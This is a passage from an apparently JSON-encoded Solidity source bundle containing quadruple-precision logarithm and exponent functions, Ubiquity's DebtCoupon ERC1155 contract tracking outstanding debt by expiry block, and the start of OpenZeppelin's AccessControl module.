0x3FFF0000000000000000000000000000)\n return _POSITIVE_ZERO;\n else {\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\n if (xExponent == 0x7FFF) return x;\n else {\n uint256 xSignifier = uint128(x) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (xExponent == 0) xExponent = 1;\n else xSignifier |= 0x10000000000000000000000000000;\n\n if (xSignifier == 0) return _NEGATIVE_INFINITY;\n\n bool resultNegative;\n uint256 resultExponent = 16495;\n uint256 resultSignifier;\n\n if (xExponent >= 0x3FFF) {\n resultNegative = false;\n resultSignifier = xExponent - 0x3FFF;\n xSignifier <<= 15;\n } else {\n resultNegative = true;\n if (xSignifier >= 0x10000000000000000000000000000) {\n resultSignifier = 0x3FFE - xExponent;\n xSignifier <<= 15;\n } else {\n uint256 msb = mostSignificantBit(xSignifier);\n resultSignifier = 16493 - msb;\n xSignifier <<= 127 - msb;\n }\n }\n\n if (xSignifier == 0x80000000000000000000000000000000) {\n if (resultNegative) resultSignifier += 1;\n uint256 shift = 112 -\n mostSignificantBit(resultSignifier);\n resultSignifier <<= shift;\n resultExponent -= shift;\n } else {\n uint256 bb = resultNegative ? 1 : 0;\n while (\n resultSignifier < 0x10000000000000000000000000000\n ) {\n resultSignifier <<= 1;\n resultExponent -= 1;\n\n xSignifier *= xSignifier;\n uint256 b = xSignifier >> 255;\n resultSignifier += b ^ bb;\n xSignifier >>= 127 + b;\n }\n }\n\n return\n bytes16(\n uint128(\n (\n resultNegative\n ? 0x80000000000000000000000000000000\n : 0\n ) |\n (resultExponent << 112) |\n (resultSignifier &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n )\n );\n }\n }\n }\n }\n\n /**\n * Calculate natural logarithm of x. Return NaN on negative x excluding -0.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function ln(bytes16 x) internal pure returns (bytes16) {\n unchecked {\n return mul(log_2(x), 0x3FFE62E42FEFA39EF35793C7673007E5);\n }\n }\n\n /**\n * Calculate 2^x.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function pow_2(bytes16 x) internal pure returns (bytes16) {\n unchecked {\n bool xNegative = uint128(x) > 0x80000000000000000000000000000000;\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\n uint256 xSignifier = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n if (xExponent == 0x7FFF && xSignifier != 0) return NaN;\n else if (xExponent > 16397)\n return xNegative ? _POSITIVE_ZERO : _POSITIVE_INFINITY;\n else if (xExponent < 16255)\n return 0x3FFF0000000000000000000000000000;\n else {\n if (xExponent == 0) xExponent = 1;\n else xSignifier |= 0x10000000000000000000000000000;\n\n if (xExponent > 16367) xSignifier <<= xExponent - 16367;\n else if (xExponent < 16367) xSignifier >>= 16367 - xExponent;\n\n if (\n xNegative &&\n xSignifier > 0x406E00000000000000000000000000000000\n ) return _POSITIVE_ZERO;\n\n if (\n !xNegative &&\n xSignifier > 0x3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n ) return _POSITIVE_INFINITY;\n\n uint256 resultExponent = xSignifier >> 128;\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (xNegative && xSignifier != 0) {\n xSignifier = ~xSignifier;\n resultExponent += 1;\n }\n\n uint256 resultSignifier = 0x80000000000000000000000000000000;\n if (xSignifier & 0x80000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x16A09E667F3BCC908B2FB1366EA957D3E) >>\n 128;\n if (xSignifier & 0x40000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1306FE0A31B7152DE8D5A46305C85EDEC) >>\n 128;\n if (xSignifier & 0x20000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1172B83C7D517ADCDF7C8C50EB14A791F) >>\n 128;\n if (xSignifier & 0x10000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10B5586CF9890F6298B92B71842A98363) >>\n 128;\n if (xSignifier & 0x8000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1059B0D31585743AE7C548EB68CA417FD) >>\n 128;\n if (xSignifier & 0x4000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >>\n 128;\n if (xSignifier & 0x2000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10163DA9FB33356D84A66AE336DCDFA3F) >>\n 128;\n if (xSignifier & 0x1000000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100B1AFA5ABCBED6129AB13EC11DC9543) >>\n 128;\n if (xSignifier & 0x800000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10058C86DA1C09EA1FF19D294CF2F679B) >>\n 128;\n if (xSignifier & 0x400000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1002C605E2E8CEC506D21BFC89A23A00F) >>\n 128;\n if (xSignifier & 0x200000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100162F3904051FA128BCA9C55C31E5DF) >>\n 128;\n if (xSignifier & 0x100000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000B175EFFDC76BA38E31671CA939725) >>\n 128;\n if (xSignifier & 0x80000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100058BA01FB9F96D6CACD4B180917C3D) >>\n 128;\n if (xSignifier & 0x40000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10002C5CC37DA9491D0985C348C68E7B3) >>\n 128;\n if (xSignifier & 0x20000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000162E525EE054754457D5995292026) >>\n 128;\n if (xSignifier & 0x10000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000B17255775C040618BF4A4ADE83FC) >>\n 128;\n if (xSignifier & 0x8000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >>\n 128;\n if (xSignifier & 0x4000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >>\n 128;\n if (xSignifier & 0x2000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000162E43F4F831060E02D839A9D16D) >>\n 128;\n if (xSignifier & 0x1000000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000B1721BCFC99D9F890EA06911763) >>\n 128;\n if (xSignifier & 0x800000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000058B90CF1E6D97F9CA14DBCC1628) >>\n 128;\n if (xSignifier & 0x400000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000002C5C863B73F016468F6BAC5CA2B) >>\n 128;\n if (xSignifier & 0x200000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000162E430E5A18F6119E3C02282A5) >>\n 128;\n if (xSignifier & 0x100000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000B1721835514B86E6D96EFD1BFE) >>\n 128;\n if (xSignifier & 0x80000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000058B90C0B48C6BE5DF846C5B2EF) >>\n 128;\n if (xSignifier & 0x40000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000002C5C8601CC6B9E94213C72737A) >>\n 128;\n if (xSignifier & 0x20000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000162E42FFF037DF38AA2B219F06) >>\n 128;\n if (xSignifier & 0x10000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000B17217FBA9C739AA5819F44F9) >>\n 128;\n if (xSignifier & 0x8000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000058B90BFCDEE5ACD3C1CEDC823) >>\n 128;\n if (xSignifier & 0x4000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000002C5C85FE31F35A6A30DA1BE50) >>\n 128;\n if (xSignifier & 0x2000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000162E42FF0999CE3541B9FFFCF) >>\n 128;\n if (xSignifier & 0x1000000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000B17217F80F4EF5AADDA45554) >>\n 128;\n if (xSignifier & 0x800000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000058B90BFBF8479BD5A81B51AD) >>\n 128;\n if (xSignifier & 0x400000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000002C5C85FDF84BD62AE30A74CC) >>\n 128;\n if (xSignifier & 0x200000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000162E42FEFB2FED257559BDAA) >>\n 128;\n if (xSignifier & 0x100000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000B17217F7D5A7716BBA4A9AE) >>\n 128;\n if (xSignifier & 0x80000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000058B90BFBE9DDBAC5E109CCE) >>\n 128;\n if (xSignifier & 0x40000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000002C5C85FDF4B15DE6F17EB0D) >>\n 128;\n if (xSignifier & 0x20000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000162E42FEFA494F1478FDE05) >>\n 128;\n if (xSignifier & 0x10000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000B17217F7D20CF927C8E94C) >>\n 128;\n if (xSignifier & 0x8000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000058B90BFBE8F71CB4E4B33D) >>\n 128;\n if (xSignifier & 0x4000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000002C5C85FDF477B662B26945) >>\n 128;\n if (xSignifier & 0x2000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000162E42FEFA3AE53369388C) >>\n 128;\n if (xSignifier & 0x1000000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000B17217F7D1D351A389D40) >>\n 128;\n if (xSignifier & 0x800000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000058B90BFBE8E8B2D3D4EDE) >>\n 128;\n if (xSignifier & 0x400000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000002C5C85FDF4741BEA6E77E) >>\n 128;\n if (xSignifier & 0x200000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000162E42FEFA39FE95583C2) >>\n 128;\n if (xSignifier & 0x100000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000B17217F7D1CFB72B45E1) >>\n 128;\n if (xSignifier & 0x80000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000058B90BFBE8E7CC35C3F0) >>\n 128;\n if (xSignifier & 0x40000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000002C5C85FDF473E242EA38) >>\n 128;\n if (xSignifier & 0x20000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000162E42FEFA39F02B772C) >>\n 128;\n if (xSignifier & 0x10000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000B17217F7D1CF7D83C1A) >>\n 128;\n if (xSignifier & 0x8000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000058B90BFBE8E7BDCBE2E) >>\n 128;\n if (xSignifier & 0x4000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000002C5C85FDF473DEA871F) >>\n 128;\n if (xSignifier & 0x2000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000162E42FEFA39EF44D91) >>\n 128;\n if (xSignifier & 0x1000000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000B17217F7D1CF79E949) >>\n 128;\n if (xSignifier & 0x800000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000058B90BFBE8E7BCE544) >>\n 128;\n if (xSignifier & 0x400000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000002C5C85FDF473DE6ECA) >>\n 128;\n if (xSignifier & 0x200000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000162E42FEFA39EF366F) >>\n 128;\n if (xSignifier & 0x100000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000B17217F7D1CF79AFA) >>\n 128;\n if (xSignifier & 0x80000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000058B90BFBE8E7BCD6D) >>\n 128;\n if (xSignifier & 0x40000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000002C5C85FDF473DE6B2) >>\n 128;\n if (xSignifier & 0x20000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000162E42FEFA39EF358) >>\n 128;\n if (xSignifier & 0x10000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000B17217F7D1CF79AB) >>\n 128;\n if (xSignifier & 0x8000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000058B90BFBE8E7BCD5) >>\n 128;\n if (xSignifier & 0x4000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000002C5C85FDF473DE6A) >>\n 128;\n if (xSignifier & 0x2000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000162E42FEFA39EF34) >>\n 128;\n if (xSignifier & 0x1000000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000B17217F7D1CF799) >>\n 128;\n if (xSignifier & 0x800000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000058B90BFBE8E7BCC) >>\n 128;\n if (xSignifier & 0x400000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000002C5C85FDF473DE5) >>\n 128;\n if (xSignifier & 0x200000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000162E42FEFA39EF2) >>\n 128;\n if (xSignifier & 0x100000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000B17217F7D1CF78) >>\n 128;\n if (xSignifier & 0x80000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000058B90BFBE8E7BB) >>\n 128;\n if (xSignifier & 0x40000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000002C5C85FDF473DD) >>\n 128;\n if (xSignifier & 0x20000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000162E42FEFA39EE) >>\n 128;\n if (xSignifier & 0x10000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000B17217F7D1CF6) >>\n 128;\n if (xSignifier & 0x8000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000058B90BFBE8E7A) >>\n 128;\n if (xSignifier & 0x4000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000002C5C85FDF473C) >>\n 128;\n if (xSignifier & 0x2000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000162E42FEFA39D) >>\n 128;\n if (xSignifier & 0x1000000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000B17217F7D1CE) >>\n 128;\n if (xSignifier & 0x800000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000058B90BFBE8E6) >>\n 128;\n if (xSignifier & 0x400000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000002C5C85FDF472) >>\n 128;\n if (xSignifier & 0x200000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000162E42FEFA38) >>\n 128;\n if (xSignifier & 0x100000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000B17217F7D1B) >>\n 128;\n if (xSignifier & 0x80000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000058B90BFBE8D) >>\n 128;\n if (xSignifier & 0x40000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000002C5C85FDF46) >>\n 128;\n if (xSignifier & 0x20000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000162E42FEFA2) >>\n 128;\n if (xSignifier & 0x10000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000B17217F7D0) >>\n 128;\n if (xSignifier & 0x8000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000058B90BFBE7) >>\n 128;\n if (xSignifier & 0x4000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000002C5C85FDF3) >>\n 128;\n if (xSignifier & 0x2000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000162E42FEF9) >>\n 128;\n if (xSignifier & 0x1000000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000B17217F7C) >>\n 128;\n if (xSignifier & 0x800000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000058B90BFBD) >>\n 128;\n if (xSignifier & 0x400000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000002C5C85FDE) >>\n 128;\n if (xSignifier & 0x200000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000162E42FEE) >>\n 128;\n if (xSignifier & 0x100000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000B17217F6) >>\n 128;\n if (xSignifier & 0x80000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000058B90BFA) >>\n 128;\n if (xSignifier & 0x40000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000002C5C85FC) >>\n 128;\n if (xSignifier & 0x20000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000162E42FD) >>\n 128;\n if (xSignifier & 0x10000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000B17217E) >>\n 128;\n if (xSignifier & 0x8000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000058B90BE) >>\n 128;\n if (xSignifier & 0x4000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000002C5C85E) >>\n 128;\n if (xSignifier & 0x2000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000162E42E) >>\n 128;\n if (xSignifier & 0x1000000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000B17216) >>\n 128;\n if (xSignifier & 0x800000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000058B90A) >>\n 128;\n if (xSignifier & 0x400000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000002C5C84) >>\n 128;\n if (xSignifier & 0x200000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000162E41) >>\n 128;\n if (xSignifier & 0x100000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000000B1720) >>\n 128;\n if (xSignifier & 0x80000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000058B8F) >>\n 128;\n if (xSignifier & 0x40000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000002C5C7) >>\n 128;\n if (xSignifier & 0x20000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000000162E3) >>\n 128;\n if (xSignifier & 0x10000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000000B171) >>\n 128;\n if (xSignifier & 0x8000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000000058B8) >>\n 128;\n if (xSignifier & 0x4000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000002C5B) >>\n 128;\n if (xSignifier & 0x2000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000000162D) >>\n 128;\n if (xSignifier & 0x1000 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000000B16) >>\n 128;\n if (xSignifier & 0x800 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000000058A) >>\n 128;\n if (xSignifier & 0x400 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000000002C4) >>\n 128;\n if (xSignifier & 0x200 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000000161) >>\n 128;\n if (xSignifier & 0x100 > 0)\n resultSignifier =\n (resultSignifier *\n 0x1000000000000000000000000000000B0) >>\n 128;\n if (xSignifier & 0x80 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000000057) >>\n 128;\n if (xSignifier & 0x40 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000000002B) >>\n 128;\n if (xSignifier & 0x20 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000000015) >>\n 128;\n if (xSignifier & 0x10 > 0)\n resultSignifier =\n (resultSignifier *\n 0x10000000000000000000000000000000A) >>\n 128;\n if (xSignifier & 0x8 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000000004) >>\n 128;\n if (xSignifier & 0x4 > 0)\n resultSignifier =\n (resultSignifier *\n 0x100000000000000000000000000000001) >>\n 128;\n\n if (!xNegative) {\n resultSignifier =\n (resultSignifier >> 15) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n resultExponent += 0x3FFF;\n } else if (resultExponent <= 0x3FFE) {\n resultSignifier =\n (resultSignifier >> 15) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n resultExponent = 0x3FFF - resultExponent;\n } else {\n resultSignifier =\n resultSignifier >>\n (resultExponent - 16367);\n resultExponent = 0;\n }\n\n return\n bytes16(uint128((resultExponent << 112) | resultSignifier));\n }\n }\n }\n\n /**\n * Calculate e^x.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function exp(bytes16 x) internal pure returns (bytes16) {\n unchecked {\n return pow_2(mul(x, 0x3FFF71547652B82FE1777D0FFDA0D23A));\n }\n }\n\n /**\n * Get index of the most significant non-zero bit in binary representation of\n * x. Reverts if x is zero.\n *\n * @return index of the most significant non-zero bit in binary representation\n * of x\n */\n function mostSignificantBit(uint256 x) private pure returns (uint256) {\n unchecked {\n require(x > 0);\n\n uint256 result = 0;\n\n if (x >= 0x100000000000000000000000000000000) {\n x >>= 128;\n result += 128;\n }\n if (x >= 0x10000000000000000) {\n x >>= 64;\n result += 64;\n }\n if (x >= 0x100000000) {\n x >>= 32;\n result += 32;\n }\n if (x >= 0x10000) {\n x >>= 16;\n result += 16;\n }\n if (x >= 0x100) {\n x >>= 8;\n result += 8;\n }\n if (x >= 0x10) {\n x >>= 4;\n result += 4;\n }\n if (x >= 0x4) {\n x >>= 2;\n result += 2;\n }\n if (x >= 0x2) result += 1; // No need to shift x anymore\n\n return result;\n }\n }\n}\n" - }, - "contracts/DebtCoupon.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"./ERC1155Ubiquity.sol\";\nimport \"solidity-linked-list/contracts/StructuredLinkedList.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\n\n/// @title A coupon redeemable for dollars with an expiry block number\n/// @notice An ERC1155 where the token ID is the expiry block number\n/// @dev Implements ERC1155 so receiving contracts must implement IERC1155Receiver\ncontract DebtCoupon is ERC1155Ubiquity {\n using StructuredLinkedList for StructuredLinkedList.List;\n\n //not public as if called externally can give inaccurate value. see method\n uint256 private _totalOutstandingDebt;\n\n //represents tokenSupply of each expiry (since 1155 doesnt have this)\n mapping(uint256 => uint256) private _tokenSupplies;\n\n //ordered list of coupon expiries\n StructuredLinkedList.List private _sortedBlockNumbers;\n\n event MintedCoupons(address recipient, uint256 expiryBlock, uint256 amount);\n\n event BurnedCoupons(\n address couponHolder,\n uint256 expiryBlock,\n uint256 amount\n );\n\n modifier onlyCouponManager() {\n require(\n manager.hasRole(manager.COUPON_MANAGER_ROLE(), msg.sender),\n \"Caller is not a coupon manager\"\n );\n _;\n }\n\n //@dev URI param is if we want to add an off-chain meta data uri associated with this contract\n constructor(address _manager) ERC1155Ubiquity(_manager, \"URI\") {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n _totalOutstandingDebt = 0;\n }\n\n /// @notice Mint an amount of coupons expiring at a certain block for a certain recipient\n /// @param amount amount of tokens to mint\n /// @param expiryBlockNumber the expiration block number of the coupons to mint\n function mintCoupons(\n address recipient,\n uint256 amount,\n uint256 expiryBlockNumber\n ) public onlyCouponManager {\n mint(recipient, expiryBlockNumber, amount, \"\");\n emit MintedCoupons(recipient, expiryBlockNumber, amount);\n\n //insert new relevant block number if it doesnt exist in our list\n // (linkedlist implementation wont insert if dupe)\n _sortedBlockNumbers.pushBack(expiryBlockNumber);\n\n //update the total supply for that expiry and total outstanding debt\n _tokenSupplies[expiryBlockNumber] =\n _tokenSupplies[expiryBlockNumber] +\n (amount);\n _totalOutstandingDebt = _totalOutstandingDebt + (amount);\n }\n\n /// @notice Burn an amount of coupons expiring at a certain block from\n /// a certain holder's balance\n /// @param couponOwner the owner of those coupons\n /// @param amount amount of tokens to burn\n /// @param expiryBlockNumber the expiration block number of the coupons to burn\n function burnCoupons(\n address couponOwner,\n uint256 amount,\n uint256 expiryBlockNumber\n ) public onlyCouponManager {\n require(\n balanceOf(couponOwner, expiryBlockNumber) >= amount,\n \"Coupon owner not enough coupons\"\n );\n burn(couponOwner, expiryBlockNumber, amount);\n emit BurnedCoupons(couponOwner, expiryBlockNumber, amount);\n\n //update the total supply for that expiry and total outstanding debt\n _tokenSupplies[expiryBlockNumber] =\n _tokenSupplies[expiryBlockNumber] -\n (amount);\n _totalOutstandingDebt = _totalOutstandingDebt - (amount);\n }\n\n /// @notice Should be called prior to any state changing functions.\n // Updates debt according to current block number\n function updateTotalDebt() public {\n bool reachedEndOfExpiredKeys = false;\n uint256 currentBlockNumber = _sortedBlockNumbers.popFront();\n\n //if list is empty, currentBlockNumber will be 0\n while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) {\n if (currentBlockNumber > block.number) {\n //put the key back in since we popped, and end loop\n _sortedBlockNumbers.pushFront(currentBlockNumber);\n reachedEndOfExpiredKeys = true;\n } else {\n //update tally and remove key from blocks and map\n _totalOutstandingDebt =\n _totalOutstandingDebt -\n (_tokenSupplies[currentBlockNumber]);\n delete _tokenSupplies[currentBlockNumber];\n _sortedBlockNumbers.remove(currentBlockNumber);\n }\n currentBlockNumber = _sortedBlockNumbers.popFront();\n }\n }\n\n /// @notice Returns outstanding debt by fetching current tally and removing any expired debt\n function getTotalOutstandingDebt() public view returns (uint256) {\n uint256 outstandingDebt = _totalOutstandingDebt;\n bool reachedEndOfExpiredKeys = false;\n (, uint256 currentBlockNumber) = _sortedBlockNumbers.getNextNode(0);\n\n while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) {\n if (currentBlockNumber > block.number) {\n reachedEndOfExpiredKeys = true;\n } else {\n outstandingDebt =\n outstandingDebt -\n (_tokenSupplies[currentBlockNumber]);\n }\n (, currentBlockNumber) = _sortedBlockNumbers.getNextNode(\n currentBlockNumber\n );\n }\n\n return outstandingDebt;\n }\n}\n" - }, - "@openzeppelin/contracts/access/AccessControl.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\nimport \"../utils/Strings.sol\";\nimport \"../utils/introspection/ERC165.sol\";\n\n/**\n * @dev External interface of AccessControl declared to support ERC165 detection.\n */\ninterface IAccessControl {\n function hasRole(bytes32 role, address account) external view returns (bool);\n\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n function grantRole(bytes32 role, address account) external;\n\n function revokeRole(bytes32 role, address account) external;\n\n function renounceRole(bytes32 role, address account) external;\n}\n\n/**\n * @dev Contract module that allows children to implement role-based access\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\n * members except through off-chain means by accessing the contract event logs. Some\n * applications may benefit from on-chain enumerability, for those cases see\n * {AccessControlEnumerable}.\n *\n * Roles are referred to by their `bytes32` identifier. These should be exposed\n * in the external API and be unique. The best way to achieve this is by\n * using `public constant` hash digests:\n *\n * ```\n * bytes32 public constant MY_ROLE = keccak256(\"MY_ROLE\");\n * ```\n *\n * Roles can be used to represent a set of permissions. To restrict access to a\n * function call, use {hasRole}:\n *\n * ```\n * function foo() public {\n * require(hasRole(MY_ROLE, msg.sender));\n * ...\n * }\n * ```\n *\n * Roles can be granted and revoked dynamically via the {grantRole} and\n * {revokeRole} functions. Each role has an associated admin role, and only\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\n *\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\n * that only accounts with this role will be able to grant or revoke other\n * roles. More complex role relationships can be created by using\n * {_setRoleAdmin}.\n *\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\n * grant and revoke this role. Extra precautions should be taken to secure\n * accounts that have been granted it.\n */\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\n struct RoleData {\n mapping(address => bool) members;\n bytes32 adminRole;\n }\n\n mapping(bytes32 => RoleData) private 